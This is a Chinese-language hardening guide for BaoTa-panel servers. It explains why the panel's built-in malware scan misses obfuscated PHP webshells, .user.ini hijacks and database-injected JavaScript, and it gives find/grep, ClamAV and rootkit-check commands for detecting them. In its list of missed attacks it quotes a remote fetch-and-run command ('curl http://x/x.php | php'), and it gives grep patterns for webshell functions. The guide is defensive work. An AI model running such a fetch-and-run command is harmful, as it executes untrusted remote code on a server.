宝塔「木马查杀」实际执行bt scan_malware命令,仅遍历指定目录、提取PHP文件MD5、比对静态特征库,对混淆木马、.user.ini劫持、数据库JS注入、内存驻留等完全无效。

bt scan_malware 只扫 /www/wwwroot/ 下的 PHP 文件 MD5,对混淆木马、无文件型后门、内存驻留、.user.ini 劫持、数据库 JS 注入完全无效。指望它“全盘扫描”等于把防盗门装在窗台上。
宝塔「木马查杀」按钮实际执行什么命令
点击「木马查杀」后,宝塔后台调用的是 bt scan_malware 命令,它只做三件事:
— 递归遍历你指定的网站目录(如 /www/wwwroot/your-site.com)
— 提取每个 .php 文件的 MD5 值
— 对比宝塔内置的静态木马特征库(约 2000 条已知样本哈希)
这意味着:
- 遇到 base64 多层解密、异或混淆、str_rot13 变形的木马,直接漏掉
-
.user.ini被篡改成open_basedir=/?它不读配置,不报 - 恶意 JS 藏在
wp_posts.post_content字段里?它不连数据库,不查 - 攻击者用
curl http://x/x.php | php内存加载执行?它不抓进程、不看网络连接
为什么 find + grep 比宝塔界面搜索更可靠
宝塔文件管理器的「按内容搜索」默认只搜当前目录,且会跳过非 UTF-8 编码文件(很多木马故意用 GBK 或二进制混写),还无法跨目录正则组合匹配。
真正能打穿伪装的命令是:
find /www/wwwroot -name "*.php" -type f -size -50k -exec grep -l "eval\|base64_decode\|gzinflate\|file_get_contents.*http" {} \; 2>/dev/null
关键点:
-
-size -50k:攻击者倾向把木马压到 50KB 以内,躲过常规备份校验 -
file_get_contents.*http:比单纯搜http://更准,过滤掉注释里的假阳性 - 命中后务必
head -n 20 /path/to/file.php—— 解密函数和远程载荷几乎总在前 20 行 - 别忽略双写绕过:
assert(会被拆开,得手动搜sert、ystem这类片段
.user.ini 和数据库才是持久化重灾区
删光 shell.php 后网站第二天又挂马?大概率是这两处没查:
- 进每个站点根目录,运行
ls -la | grep user.ini→ 正常应含open_basedir=/www/wwwroot/xxx:/tmp/:/proc/;若为空、被删、或写成/,说明已被篡改 - 导出全库 SQL,在编辑器里全局搜:
<script></script>、iframe src=、document.write、eval(—— 尤其盯wp_posts.post_content、dede_arctype.typename这类模板字段 - 宝塔「网站 → 设置 → 网站目录」里必须勾选「禁止访问 .user.ini 文件」,否则攻击者上传新
.user.ini就能覆盖所有限制
真正有效的“全盘”动作不在宝塔界面上
所谓“全盘”,不是点一下按钮就完事。生产环境必须分层补位:
- Web 层:
clamscan -r --bell --infected /www/wwwroot/(需先启用 ClamAV 插件),比宝塔多识别 300+ 种混淆样本 - 系统层:
lynis audit system检查 SSH 配置、sudoers、内核参数等底层风险 - 内存层:
chkrootkit -q+rkhunter --check --sk,重点看Checking for hidden processes是否为Not found - 临时目录专项扫:
find /tmp -type f -name "*.php" -mmin -1440(查近 24 小时新建的 PHP 文件)
木马查杀最易被忽略的环节,永远不是“有没有找到文件”,而是“它靠什么活下来”。.user.ini 的 open_basedir、数据库字段的自动渲染、PHP disable_functions 是否为空——这些配置项不修复,删一万次木马也没用。











